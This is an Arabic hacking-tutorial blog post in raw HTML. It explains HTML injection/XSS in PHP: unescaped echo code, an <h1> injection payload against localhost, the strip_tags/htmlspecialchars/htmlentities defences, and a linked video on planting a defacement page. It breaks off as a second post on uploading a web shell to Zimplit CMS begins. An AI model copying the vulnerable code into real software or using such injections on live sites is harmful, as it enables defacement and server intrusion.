عليكم</b></span></div> <div dir="rtl" style="text-align: right;"> <span style="font-family: &quot;arial&quot; , &quot;helvetica&quot; , sans-serif;"><b>ازيكم يا رجالة عاملين ايه :)</b></span></div> <div dir="rtl" style="text-align: right;"> <span style="font-family: &quot;arial&quot; , &quot;helvetica&quot; , sans-serif;"><b>النهاردة هنشوف مع بعض شرح مفصل لثغرات <span style="color: red;">HTML Injection</span> ان شاء الله</b></span></div> <div dir="rtl" style="text-align: right;"> <span style="font-family: &quot;arial&quot; , &quot;helvetica&quot; , sans-serif;"><b>الثغرة دى البعض برضه بيسميها <span style="color: red;">Cross site scripting</span> اللى هيا ثغرات <span style="color: red;">XSS</span> المعروفة طبعا</b></span></div> <div dir="rtl" style="text-align: right;"> <span style="font-family: &quot;arial&quot; , &quot;helvetica&quot; , sans-serif;"><b>النوع ده خطير فعلا يا رجالة جدا وممكن تعمل منه بلاوى كتيرة على الموقع والسيرفر كمان</b></span></div> <div dir="rtl" style="text-align: right;"> <span style="font-family: &quot;arial&quot; , &quot;helvetica&quot; , sans-serif;"><b>المقال بتاعنا هيكون على<span style="color: red;"> 3 اجزاء</span> مع بعض معلش الموضوع هيبقى طويل شوية بس انا متاكد انك هتستفيد ان شاء الله</b></span></div> <div dir="rtl" style="text-align: right;"> <span style="color: red; font-family: &quot;arial&quot; , &quot;helvetica&quot; , sans-serif;"><b>اول جزء وهنتكلم فيه عن اكتشاف الثغرات دى</b></span></div> <div dir="rtl" style="text-align: right;"> <span style="color: red; font-family: &quot;arial&quot; , &quot;helvetica&quot; , sans-serif;"><b>تانى جزء وهنتكلم فيه عن استغلال الثغرات دى</b></span></div> <div dir="rtl" style="text-align: right;"> <span style="color: red; font-family: &quot;arial&quot; , &quot;helvetica&quot; , sans-serif;"><b>تالت جزء وهنتكلم فيه عن الحماية من الثغرات دى</b></span></div> <div dir="rtl" style="text-align: right;"> <span style="font-family: &quot;arial&quot; , &quot;helvetica&quot; , sans-serif;"><b>نبتدى على بركة الله</b></span></div> <div dir="rtl" style="text-align: right;"> <span style="font-family: &quot;arial&quot; , &quot;helvetica&quot; , sans-serif;"><b><br /></b></span></div> <div dir="rtl" style="text-align: right;"> <span style="font-family: &quot;arial&quot; , &quot;helvetica&quot; , sans-serif;"><b><span style="color: red;">ثغرة</span> "<span style="color: red;">Bug</span>" ؟</b></span></div> <div dir="rtl" style="text-align: right;"> <span style="font-family: &quot;arial&quot; , &quot;helvetica&quot; , sans-serif;"><b>هيا <span style="color: red;">خطا برمجى</span> بيقع فيه المبرمج عند كتابة البرنامج او الكود البرمجى للسكربت ومنها ممكن يتم اختراق الموقع او السيرفر كله على حسب نوع الثغرة</b></span></div> <div dir="rtl" style="text-align: right;"> <span style="font-family: &quot;arial&quot; , &quot;helvetica&quot; , sans-serif;"><b><br /></b></span></div> <div dir="rtl" style="text-align: right;"> <span style="font-family: &quot;arial&quot; , &quot;helvetica&quot; , sans-serif;"><b><span style="color: red;">شل</span> "<span style="color: red;">Shell</span>" ؟</b></span></div> <div dir="rtl" style="text-align: right;"> <span style="font-family: &quot;arial&quot; , &quot;helvetica&quot; , sans-serif;"><b>هو <span style="color: red;">ملف مبرمج</span> بلغة <span style="color: red;">php</span> ويمكن برمجته بـ لغات مختلفة تانية زى <span style="color: red;">Perl</span>, <span style="color: red;">Python</span>, <span style="color: red;">Bash</span></b></span></div> <div dir="rtl" style="text-align: right;"> <span style="font-family: &quot;arial&quot; , &quot;helvetica&quot; , sans-serif;"><b><br /></b></span></div> <div dir="rtl" style="text-align: right;"> <span style="font-family: &quot;arial&quot; , &quot;helvetica&quot; , sans-serif;"><b><span style="color: red;">وظيفة الشل</span> ؟</b></span></div> <div dir="rtl" style="text-align: right;"> <span style="font-family: &quot;arial&quot; , &quot;helvetica&quot; , sans-serif;"><b>هو <span style="color: red;">اداة</span> مساعدة ليك فى تنفيذ اوامرك على السيرفر, نقدر نقول عليه <span style="color: red;">Command Interpreter</span> لتنفيذ اوامرك من عليه وفيه <span style="color: red;">File Manager</span> يمكنك من التنقل داخل ملفات ومجلدات الموقع</b></span></div> <div dir="rtl" style="text-align: right;"> <span style="font-family: &quot;arial&quot; , &quot;helvetica&quot; , sans-serif;"><b><br /></b></span></div> <div dir="rtl" style="text-align: right;"> <span style="font-family: &quot;arial&quot; , &quot;helvetica&quot; , sans-serif;"><b><span style="color: red;">سيرفر</span> "<span style="color: red;">Server</span>" ؟</b></span></div> <div dir="rtl" style="text-align: right;"> <span style="font-family: &quot;arial&quot; , &quot;helvetica&quot; , sans-serif;"><b>هو <span style="color: red;">خادم</span>, جهاز كمبيوتر بيتم تثبيت عليه نظام تشغيل <span style="color: red;">لينكس</span> او <span style="color: red;">ويندوز</span> بيكون متصل بالانترنت بشكل مستمر, امكانيات الهاردوير عالية جدا ومخصصة للعمل كـ <span style="color: red;">سيرفر</span></b></span></div> <div dir="rtl" style="text-align: right;"> <span style="font-family: &quot;arial&quot; , &quot;helvetica&quot; , sans-serif;"><b><br /></b></span></div> <div dir="rtl" style="text-align: right;"> <span style="font-family: &quot;arial&quot; , &quot;helvetica&quot; , sans-serif;"><b><span style="color: red;">سكربت</span> "<span style="color: red;">Script</span>" ؟</b></span></div> <div dir="rtl" style="text-align: right;"> <span style="font-family: &quot;arial&quot; , &quot;helvetica&quot; , sans-serif;"><b>هو <span style="color: red;">نص برمجى</span> مكتوب بلغة برمجة من نوع <span style="color: red;">Scripting Language</span> زى لغة <span style="color: red;">Php</span>, <span style="color: red;">Asp</span>, <span style="color: red;">Perl</span>, <span style="color: red;">Python</span> وغيرهم اغلب استخدامه فى تطوير وتصميم الموقع وليه استخدامات كتيرة على حسب الكود البرمجى</b></span></div> <div dir="rtl" style="text-align: right;"> <span style="font-family: &quot;arial&quot; , &quot;helvetica&quot; , sans-serif;"><b><br /></b></span></div> <div dir="rtl" style="text-align: right;"> <span style="font-family: &quot;arial&quot; , &quot;helvetica&quot; , sans-serif;"><b><span style="color: red;">حقن هتمل</span> "<span style="color: red;">HTML Injection</span>" ؟</b></span></div> <div dir="rtl" style="text-align: right;"> <span style="font-family: &quot;arial&quot; , &quot;helvetica&quot; , sans-serif;"><b>هيا <span style="color: red;">ثغرة</span> تعتبر من نوع <span style="color: red;">XSS</span> وسبب تسميتها لانها تشبه ثغرات <span style="color: red;">Cross Site Scripting</span> المعروفة بـ <span style="color: red;">XSS</span> والتى تمكن المخترق من حقن اكواد لغة <span style="color: red;">هتمل</span> او <span style="color: red;">جافا سكربت</span> او <span style="color: red;">فى بى سكربت</span> <span style="color: red;">HTML</span>,<span style="color: red;">Javascript</span>,<span style="color: red;">VBscript</span></b></span></div> <div dir="rtl" style="text-align: right;"> <span style="font-family: &quot;arial&quot; , &quot;helvetica&quot; , sans-serif;"><b>خطورة الثغرة <span style="color: red;">مرتفعة</span> ... ممكن من خلال كود او لينك مصنوع باحتراف يمكن المخترق من الحصول على <span style="color: red;">اكسس</span> على النظام باكمله اقصد هنا <span style="color: red;">السيرفر</span> باكمله</b></span></div> <div dir="rtl" style="text-align: right;"> <span style="font-family: &quot;arial&quot; , &quot;helvetica&quot; , sans-serif;"><b>طرق استغلال الثغرات دى كتيرة جدا وكل على حسب تفكيرك وهدفك للوصول لاعلى صلاحيات ممكنة على السيرفر نفسه</b></span></div> <div dir="rtl" style="text-align: right;"> <br /></div> <div dir="rtl" style="text-align: right;"> <span style="font-family: &quot;arial&quot; , &quot;helvetica&quot; , sans-serif;"><b>نرجع لشرحنا بقى يا رجالة ونكمل مقالنا على بركة الله</b></span></div> <div dir="rtl" style="text-align: right;"> <span style="font-family: &quot;arial&quot; , &quot;helvetica&quot; , sans-serif;"><b><span style="color: red; font-size: large;">الجزء الاول</span> : <span style="color: red;">اكتشاف الثغرات من نوع HTML Injection</span></b></span></div> <div dir="rtl" style="text-align: right;"> <span style="font-family: &quot;arial&quot; , &quot;helvetica&quot; , sans-serif;"><b>الاصابة بتكون فى عبارات <span style="color: red;">الطباعة</span> فى لغة <span style="color: red;">php</span> وهم <span style="color: red;">echo</span>,<span style="color: red;">print</span> وبرضه بسبب عدم وجود حماية على المدخلات او السوبر جلوبالز اللى هما <span style="color: red;">GET</span>,<span style="color: red;">POST</span>,<span style="color: red;">REQUEST</span>, وغيرهم</b></span></div> <div dir="rtl" style="text-align: right;"> <span style="font-family: &quot;arial&quot; , &quot;helvetica&quot; , sans-serif;"><b>نشوف مثال بسيط على <span style="color: red;">GET</span>,<span style="color: red;">POST</span> لان هما اكتر اتنين بيتم استخدامهم فى عمليات الطلب ... مثال على <span style="color: red;">GET</span></b></span></div> <div dir="rtl" style="text-align: right;"> <span style="font-family: &quot;arial&quot; , &quot;helvetica&quot; , sans-serif;"><b><span style="color: red;"><br /></span></b></span></div> <div style="text-align: left;"> <span style="font-family: &quot;arial&quot; , &quot;helvetica&quot; , sans-serif;"><b><span style="color: red;"></span></b></span></div> <blockquote class="tr_bq"> <span style="color: red;"><span style="font-family: &quot;arial&quot; , &quot;helvetica&quot; , sans-serif;"><b>&lt;?php</b></span><span style="font-family: &quot;arial&quot; , &quot;helvetica&quot; , sans-serif;"><b><br /></b></span><span style="font-family: &quot;arial&quot; , &quot;helvetica&quot; , sans-serif;"><b>$name = $_GET['code'];</b></span><span style="font-family: &quot;arial&quot; , &quot;helvetica&quot; , sans-serif;"><b><br /></b></span><span style="font-family: &quot;arial&quot; , &quot;helvetica&quot; , sans-serif;"><b>echo $name;</b></span><span style="font-family: &quot;arial&quot; , &quot;helvetica&quot; , sans-serif;"><b><br /></b></span><span style="font-family: &quot;arial&quot; , &quot;helvetica&quot; , sans-serif;"><b>?&gt;</b></span><span style="text-align: right;">&nbsp;</span></span></blockquote> <br /> <div> <div dir="rtl" style="text-align: right;"> <span style="font-family: &quot;arial&quot; , &quot;helvetica&quot; , sans-serif;"><b>مثال على <span style="color: red;">POST</span></b></span></div> <blockquote class="tr_bq"> <span style="color: red; font-family: &quot;arial&quot; , &quot;helvetica&quot; , sans-serif;"><b>&lt;?php</b></span><span style="color: red; font-family: &quot;arial&quot; , &quot;helvetica&quot; , sans-serif;"><b><br /></b></span><span style="color: red; font-family: &quot;arial&quot; , &quot;helvetica&quot; , sans-serif;"><b>$name = $_POST['code'];</b></span><span style="color: red; font-family: &quot;arial&quot; , &quot;helvetica&quot; , sans-serif;"><b><br /></b></span><span style="color: red; font-family: &quot;arial&quot; , &quot;helvetica&quot; , sans-serif;"><b>echo $name;</b></span><span style="color: red; font-family: &quot;arial&quot; , &quot;helvetica&quot; , sans-serif;"><b><br /></b></span><span style="color: red; font-family: &quot;arial&quot; , &quot;helvetica&quot; , sans-serif;"><b>echo "&lt;form action='html.php' method='post'&gt;</b></span><br /> <span style="color: red; font-family: &quot;arial&quot; , &quot;helvetica&quot; , sans-serif;"><b>&lt;input type='text' name='code' /&gt;</b></span><span style="color: red; font-family: &quot;arial&quot; , &quot;helvetica&quot; , sans-serif;"><b><br /></b></span><span style="color: red; font-family: &quot;arial&quot; , &quot;helvetica&quot; , sans-serif;"><b>&lt;input type='submit' value='Do it :)' /&gt;</b></span><span style="color: red; font-family: &quot;arial&quot; , &quot;helvetica&quot; , sans-serif;"><b><br /></b></span><span style="color: red; font-family: &quot;arial&quot; , &quot;helvetica&quot; , sans-serif;"><b>&lt;/form&gt;";</b></span><span style="color: red; font-family: &quot;arial&quot; , &quot;helvetica&quot; , sans-serif;"><b><br /></b></span><span style="color: red; font-family: &quot;arial&quot; , &quot;helvetica&quot; , sans-serif;"><b>?&gt;</b></span></blockquote> <span style="font-family: &quot;arial&quot; , &quot;helvetica&quot; , sans-serif;"><b><span style="color: red;"></span></b></span><br /> <div dir="rtl" style="text-align: right;"> <span style="font-family: &quot;arial&quot; , &quot;helvetica&quot; , sans-serif;"><b>زى ما شفنا فوق يا رجالة مفيش اى <span style="color: red;">حماية</span> فى الاكواد بالتالى بينتج عندنا الثغرة ويمكن استغلالها بكذا طريقة</b></span></div> <div dir="rtl" style="text-align: right;"> <span style="font-family: &quot;arial&quot; , &quot;helvetica&quot; , sans-serif;"><b><br /></b></span></div> <div dir="rtl" style="text-align: right;"> <span style="font-family: &quot;arial&quot; , &quot;helvetica&quot; , sans-serif;"><b><span style="color: red; font-size: large;">الجزء الثانى</span> : <span style="color: red;">استغلال الثغرات من نوع HTML Injection</span></b></span></div> <div dir="rtl" style="text-align: right;"> <span style="font-family: &quot;arial&quot; , &quot;helvetica&quot; , sans-serif;"><b>طرق الاستغلال كتيرة جدا زى ما قولت وانا مش هطرق ليها كلها هنا بس ان شاء الله هخلى ليهم شرح منفصل افضل</b></span></div> <div dir="rtl" style="text-align: right;"> <span style="font-family: &quot;arial&quot; , &quot;helvetica&quot; , sans-serif;"><b>انا هبتدى بتنفيذ او <span style="color: red;">حقن</span> كود بسيط <span style="color: red;">لتكبير النص</span> اللى هيتم تنفيذه على السكربت من خلال <span style="color: red;">Heading</span> <span style="color: red;">tag</span></b></span></div> <div dir="rtl" style="text-align: right;"> <span style="font-family: &quot;arial&quot; , &quot;helvetica&quot; , sans-serif;"><b>زى اللى فى الصورة الجاية دى على الشكل التالى</b></span></div> <blockquote class="tr_bq" style="text-align: left;"> <span style="color: red; font-family: &quot;arial&quot; , &quot;helvetica&quot; , sans-serif;"><b>http://localhost/html.php?code=&lt;h1&gt;Tested by ElSyad&lt;/h1&gt;</b></span></blockquote> <div dir="rtl" style="text-align: right;"> <span style="font-family: &quot;arial&quot; , &quot;helvetica&quot; , sans-serif;"><b>نشوف الصورة دلوقتى بعد التنفيذ</b></span></div> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiefmsWc4-gNKl0nlRJfxCCg7ZEmJqqAY_oBl5XuhRckD9DCYlS5UqiiE5oQREAsbMM-2xQE0U8_-tHtbbJwIMkHZfei_u2qLxPEoFOn07jPWC8pkKNNnY-WyNYxGRJzv3x0WTbOzn19k1e/s1600/html1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="شرح,explain,اكتشاف,detect,استغلال,exploit,حماية,prevent,ثغرة,vulnerability,هتمل,html,حقن,injection" border="0" height="70" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiefmsWc4-gNKl0nlRJfxCCg7ZEmJqqAY_oBl5XuhRckD9DCYlS5UqiiE5oQREAsbMM-2xQE0U8_-tHtbbJwIMkHZfei_u2qLxPEoFOn07jPWC8pkKNNnY-WyNYxGRJzv3x0WTbOzn19k1e/s320/html1.png" title="شرح explain اكتشاف detect استغلال exploit حماية prevent ثغرة vulnerability هتمل html حقن injection" width="320" /></a></div> <div dir="rtl" style="text-align: right;"> <br /></div> <div dir="rtl" style="text-align: right;"> <span style="font-family: &quot;arial&quot; , &quot;helvetica&quot; , sans-serif;"><b>نشوف الاستغلال نفسه على الكود التانى بتاعنا اللى هو بتاع <span style="color: red;">POST</span></b></span></div> <div dir="rtl" style="text-align: right;"> <span style="font-family: &quot;arial&quot; , &quot;helvetica&quot; , sans-serif;"><b>التنفيذ هيبقى على الشكل التالى فى المتصفح</b></span></div> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj7-HQ-g0kqISGH_PzJgXZ1GETIydaQwTqCDhGHSINU7VDd-YiTtQSSnCTEu08jptR7zKkEnOSyaAilD0_qIXZpo70JTwOJJ0IrhJ4j7DlScjnfhwn8yFC8N10nNYFl9PP-IYyYAFCjpM5m/s1600/html4.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="شرح,explain,اكتشاف,detect,استغلال,exploit,حماية,prevent,ثغرة,vulnerability,هتمل,html,حقن,injection" border="0" height="146" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj7-HQ-g0kqISGH_PzJgXZ1GETIydaQwTqCDhGHSINU7VDd-YiTtQSSnCTEu08jptR7zKkEnOSyaAilD0_qIXZpo70JTwOJJ0IrhJ4j7DlScjnfhwn8yFC8N10nNYFl9PP-IYyYAFCjpM5m/s320/html4.png" title="شرح explain اكتشاف detect استغلال exploit حماية prevent ثغرة vulnerability هتمل html حقن injection" width="320" /></a></div> <div dir="rtl" style="text-align: right;"> <br /></div> <div dir="rtl" style="text-align: right;"> <span style="font-family: &quot;arial&quot; , &quot;helvetica&quot; , sans-serif;"><b>الكود اتنفذ وطبع ليا الاستغلال زى ما انا طلبته بالظبط</b></span></div> <div dir="rtl" style="text-align: right;"> <span style="font-family: &quot;arial&quot; , &quot;helvetica&quot; , sans-serif;"><b>جميل جدا دى طريقة <span style="color: red;">بدائية جدا</span> فى استغلال الثغرات ده وانتظروا منى شرح جديد لطرق الاستفادة من الثغرات حتى الحصول على <span style="color: red;">اكسس</span> على السيرفر ان شاء الله</b></span></div> <div dir="rtl" style="text-align: right;"> <span style="font-family: &quot;arial&quot; , &quot;helvetica&quot; , sans-serif;"><b><br /></b></span></div> <div dir="rtl" style="text-align: right;"> <span style="font-family: &quot;arial&quot; , &quot;helvetica&quot; , sans-serif;"><b><span style="color: red; font-size: large;">الجزء الثالث</span> : <span style="color: red;">حماية الثغرات من نوع HTML Injection</span></b></span></div> <div dir="rtl" style="text-align: right;"> <span style="font-family: &quot;arial&quot; , &quot;helvetica&quot; , sans-serif;"><b>فى عندنا طرق كتيرة للحماية من النوع ده من الثغرات يا رجالة خلينا نذكر بعضها</b></span></div> <div dir="rtl" style="text-align: right;"> <span style="font-family: &quot;arial&quot; , &quot;helvetica&quot; , sans-serif;"><b>نبتدى <span style="color: red;">بالدوال</span> لحماية المدخلات ان شاء الله</b></span></div> <blockquote class="tr_bq" style="text-align: left;"> <span style="color: red; font-family: &quot;arial&quot; , &quot;helvetica&quot; , sans-serif;"><b>strip_tags();</b></span></blockquote> <div dir="rtl" style="text-align: right;"> <span style="font-family: &quot;arial&quot; , &quot;helvetica&quot; , sans-serif;"><b>الدالة دى <span style="color: red;">وظيفتها</span> منع تشغيل او ازالة اى اكواد <span style="color: red;">HTML</span>,<span style="color: red;">PHP</span> &nbsp;نشوف التطبيق على الصورة الجاية</b></span></div> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjA-5E-2fQ4YtyTv8im9n6DngUOsJRsY-eMQlGjPpNPPRpt7-2X6JlHQI0TWnjBRddbAm3s2-vkh8WBr6ReJdVV3_kr1c7HAYpUdlz-AyoBk10hCsDyPSHu3T8UnsBGf5rpWBtKbU8DnXG5/s1600/html5.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="شرح,explain,اكتشاف,detect,استغلال,exploit,حماية,prevent,ثغرة,vulnerability,هتمل,html,حقن,injection" border="0" height="124" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjA-5E-2fQ4YtyTv8im9n6DngUOsJRsY-eMQlGjPpNPPRpt7-2X6JlHQI0TWnjBRddbAm3s2-vkh8WBr6ReJdVV3_kr1c7HAYpUdlz-AyoBk10hCsDyPSHu3T8UnsBGf5rpWBtKbU8DnXG5/s320/html5.png" title="شرح explain اكتشاف detect استغلال exploit حماية prevent ثغرة vulnerability هتمل html حقن injection" width="320" /></a></div> <div dir="rtl" style="text-align: right;"> <br /></div> <div dir="rtl" style="text-align: right;"> <span style="font-family: &quot;arial&quot; , &quot;helvetica&quot; , sans-serif;"><b>نشوف دالة كمان غيرها</b></span></div> <blockquote class="tr_bq" style="text-align: left;"> <span style="color: red; font-family: &quot;arial&quot; , &quot;helvetica&quot; , sans-serif;"><b>htmlspecialchars();</b></span></blockquote> <div dir="rtl" style="text-align: right;"> <span style="font-family: &quot;arial&quot; , &quot;helvetica&quot; , sans-serif;"><b>الدالة دى بتقوم <span style="color: red;">بتحويل</span> <span style="color: red;">بعض</span> ال <span style="color: red;">tags</span> الى <span style="color: red;">رموز مشفرة</span> او ما يسمى بـ <span style="color: red;">entity</span> ركز اوى عشان الدالة دى تفرق عن اللى جاية يا رجالة</b></span></div> <div dir="rtl" style="text-align: right;"> <span style="font-family: &quot;arial&quot; , &quot;helvetica&quot; , sans-serif;"><b>نشوف صورة على السريع بعد محاولة تنفيذ الكود</b></span></div> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg2yhxLCfxDiDe5N6LTKB7JospmyAHTwB1PGt3t06QTA9W_O28c2mPJ9nlYrLh8lqVNB_fD66CoAqtfeNhaL6Jyk3tap1cWsBOTP07elRyAbLJrlOf5fK9gnnh8hXpER0V7nQFcJXEMZabg/s1600/html6.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="شرح,explain,اكتشاف,detect,استغلال,exploit,حماية,prevent,ثغرة,vulnerability,هتمل,html,حقن,injection" border="0" height="125" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg2yhxLCfxDiDe5N6LTKB7JospmyAHTwB1PGt3t06QTA9W_O28c2mPJ9nlYrLh8lqVNB_fD66CoAqtfeNhaL6Jyk3tap1cWsBOTP07elRyAbLJrlOf5fK9gnnh8hXpER0V7nQFcJXEMZabg/s320/html6.png" title="شرح explain اكتشاف detect استغلال exploit حماية prevent ثغرة vulnerability هتمل html حقن injection" width="320" /></a></div> <div dir="rtl" style="text-align: right;"> <br /></div> <div dir="rtl" style="text-align: right;"> <span style="font-family: &quot;arial&quot; , &quot;helvetica&quot; , sans-serif;"><b>نشوف الدالة اللى بعدها يا رجالة وهيا</b></span></div> <blockquote class="tr_bq" style="text-align: left;"> <span style="color: red; font-family: &quot;arial&quot; , &quot;helvetica&quot; , sans-serif;"><b>htmlentities();</b></span></blockquote> <div dir="rtl" style="text-align: right;"> <span style="font-family: &quot;arial&quot; , &quot;helvetica&quot; , sans-serif;"><b>الدالة دى بتقوم بتحويل <span style="color: red;">اى</span> <span style="color: red;">tag</span> الى <span style="color: red;">رموز مشفرة entity</span> اى وسم مهما كان</b></span></div> <div dir="rtl" style="text-align: right;"> <span style="font-family: &quot;arial&quot; , &quot;helvetica&quot; , sans-serif;"><b>نشوف الصورة الجاية التطبيق السريع برضه</b></span></div> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgREQcbyN5a0_Gb9fg-t5YrWL_LLwdkKrfGDMiZ4s_QtLnkP76GSfHDQCe0bd2_n0D7ixp0M09t7Lx2p7qm393fy8dRTXC6JYLtN8l5NXchwWkeogZlp81bHXjq8t_VVuI1VR1_JZEl5JNd/s1600/html7.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="شرح,explain,اكتشاف,detect,استغلال,exploit,حماية,prevent,ثغرة,vulnerability,هتمل,html,حقن,injection" border="0" height="123" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgREQcbyN5a0_Gb9fg-t5YrWL_LLwdkKrfGDMiZ4s_QtLnkP76GSfHDQCe0bd2_n0D7ixp0M09t7Lx2p7qm393fy8dRTXC6JYLtN8l5NXchwWkeogZlp81bHXjq8t_VVuI1VR1_JZEl5JNd/s320/html7.png" title="شرح explain اكتشاف detect استغلال exploit حماية prevent ثغرة vulnerability هتمل html حقن injection" width="320" /></a></div> <div dir="rtl" style="text-align: right;"> <br /></div> <div dir="rtl" style="text-align: right;"> <span style="font-family: &quot;arial&quot; , &quot;helvetica&quot; , sans-serif;"><b>وفى طرق اخرى للحماية من الثغرات هبقى احطها فى مقال لوحدها عشان منلخبطش الدنيا اكتر من كده هههه :)</b></span></div> <div dir="rtl" style="text-align: right;"> <span style="font-family: &quot;arial&quot; , &quot;helvetica&quot; , sans-serif;"><b>نيجى لاخر حاجة فى المقال بتاعنا وهو <span style="color: red;">شرح فديو</span> لتطبيق عملى على الثغرة</b></span></div> <div dir="rtl" style="text-align: right;"> <span style="font-family: &quot;arial&quot; , &quot;helvetica&quot; , sans-serif;"><b>باستغلال تانى وهو <span style="color: red;">حقن</span> ملف اندكس داخل موقع مصاب بثغرة <span style="color: red;">HTML Injection</span> واستعراض الملف والتاكد ان تم رفع صفحة الاختراق بنجاح</b></span></div> <div dir="rtl" style="text-align: right;"> <span style="font-family: &quot;arial&quot; , &quot;helvetica&quot; , sans-serif;"><b>لتحميل الشرح على مركز توب</b></span></div> <div dir="rtl" style="text-align: right;"> <span style="color: red; font-family: &quot;arial&quot; , &quot;helvetica&quot; , sans-serif;"><b><a href="http://up.top4top.net/downloadf-1849jwe1-rar.html" rel="nofollow" target="_blank">Exploiting HTML Injection Vulnerability</a></b></span></div> <div dir="rtl" style="text-align: right;"> <span style="font-family: &quot;arial&quot; , &quot;helvetica&quot; , sans-serif;"><b>اى استفسار او اضافة اهلا بيها يا رجالة</b></span></div> <div dir="rtl" style="text-align: right;"> <span style="font-family: &quot;arial&quot; , &quot;helvetica&quot; , sans-serif;"><b>موفقين ~</b></span></div> <div dir="rtl" style="text-align: right;"> <span style="color: red; font-family: &quot;arial&quot; , &quot;helvetica&quot; , sans-serif; font-size: large;"><b>الصياد /.</b></span></div> </div> </div> 0شرح رفع شل فى سكربت Zimplit cmshttps://web0sec.blogspot.com/2016/07/explain-upload-shell-in-zimplit-cms.htmlwebappwebapp-hacknoreply@blogger.com (ElSyad)Sat, 2 Jul 2016 13:18:00 -0700tag:blogger.com,1999:blog-8590898748877079327.post-2103613367233555925<div dir="ltr" style="text-align: left;" trbidi="on"> <div dir="rtl" style="text-align: right;"> <span style="color: white;">شرح explain رفع upload شل shell فى in سكربت script زيمبلت zimplit سكربت cms</span></div> <div dir="rtl" style="text-align: right;"> <br /></div> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhdQbFxi8utTG_BBzZJRuRCFTPR3973QW0BZDWxLcLhytZrNX-PbkfhvPFgqk1u5KTY59J3fUpR9FltFz1tTYwFhvq1xwDR08jmmrxkR9n1boXquAlY4BcbPmxSN-15SnSaOsmCVMQTbivn/s1600/Zimplit%255B6%255D.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="شرح,explain,رفع,upload,شل,shell,فى,in,سكربت,script,زيمبلت,zimplit,سكربت,cms" border="0" height="128" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhdQbFxi8utTG_BBzZJRuRCFTPR3973QW0BZDWxLcLhytZrNX-PbkfhvPFgqk1u5KTY59J3fUpR9FltFz1tTYwFhvq1xwDR08jmmrxkR9n1boXquAlY4BcbPmxSN-15SnSaOsmCVMQTbivn/s320/Zimplit%255B6%255D.jpg" title="شرح explain رفع upload شل shell فى in سكربت script زيمبلت zimplit سكربت cms" width="320" /></a></div> <div dir="rtl" style="text-align: right;"> <br /></div> <div dir="rtl" style="text-align: right;"> <br /></div> <div dir="rtl" style="text-align: right;"> <span style="font-family: Arial, Helvetica, sans-serif;"><b>السلام عليكم</b></span></div> <div dir="rtl" style="text-align: right;"> <span style="font-family: Arial, Helvetica, sans-serif;"><b>ازيكم يا رجالة :)</b></span></div> <div dir="rtl" style="text-align: right;"> <span style="font-family: Arial, Helvetica, sans-serif;"><b>هنشوف مع بعض ازاى نرفع شل على سكربت <span style="color: red;">Zimplit</span></b></span></div> <div dir="rtl" style="text-align: right;"> <span style="font-family: Arial, Helvetica, sans-serif;"><b>النهاردة ان شاء الله هنشوف شرح لسكربت خاص بس معروف وفى حوالى اكتر من 100 الف شخص بيستخدموه</b></span></div> <div dir="rtl" style="text-align: right;"> <span style="font-family: Arial, Helvetica, sans-serif;"><b>السكربت سهل جدا وبسيط جدا جدا</b></span></div> <div dir="rtl" style="text-align: right;"> <span style="font-family: Arial, Helvetica, sans-serif;"><b>مش بيحتاج لقاعدة بيانات عشان تقدر تثبته لانه عبارة عن صفحات <span style="color: red;">html</span></b></span></div> <div dir="rtl" style="text-align: right;"> <span style="font-family: Arial, Helvetica, sans-serif;"><b>السكربت اللى هنشرح عليه هو سكربت <span style="color: red;">Zimplit</span></b></span></div> <div dir="rtl" style="text-align: right;"> <span style="font-family: Arial, Helvetica, sans-serif;"><b>موقع السكربت الرسمى</b></span></div> <div dir="rtl" style="text-align: right;"> <b style="font-family: Arial, Helvetica, sans-serif;"><span style="color: red;"><a href="http://www.zimplit.com/index.html" rel="nofollow" target="_blank">Zimplit Cms Website</a></span></b></div> <div dir="rtl" style="text-align: right;"> <b style="font-family: Arial, Helvetica, sans-serif;">مفيش لوحة تحكم للسكربت ... التعديل على الموقع بشكل مباشر</b></div> <div dir="rtl" style="text-align: right;"> <span style="font-family: Arial, Helvetica, sans-serif;"><b>المهم انه مجانى ومفتوح المصدر</b></span></div> <div dir="rtl" style="text-align: right;"> <span style="font-family: Arial, Helvetica, sans-serif;"><b>نبتدى على بركة الله</b></span></div> <div dir="rtl" style="text-align: right;"> <span style="font-family: Arial, Helvetica, sans-serif;"><b><br /></b></span></div> <div dir="rtl" style="text-align: right;"> <span style="font-family: Arial, Helvetica, sans-serif;"><b><span style="color: red;">ثغرة</span> "<span style="color: red;">Bug</span>" ؟</b></span></div> <div dir="rtl" style="text-align: right;"> <span style="font-family: Arial, Helvetica, sans-serif;"><b>هيا <span style="color: red;">خطا برمجى </span>بيقع فيه المبرمج عند كتابة البرنامج او الكود البرمجى للسكربت ومنها ممكن يتم اختراق الموقع او السيرفر كله على حسب نوع الثغرة</b></span></div> <div dir="rtl" style="text-align: right;"> <span style="font-family: Arial, Helvetica, sans-serif;"><b><br /></b></span></div> <div dir="rtl" style="text-align: right;"> <span style="font-family: Arial, Helvetica, sans-serif;"><b><span style="color: red;">شل</span> "<span style="color: red;">Shell</span>" ؟</b></span></div> <div dir="rtl" style="text-align: right;"> <span 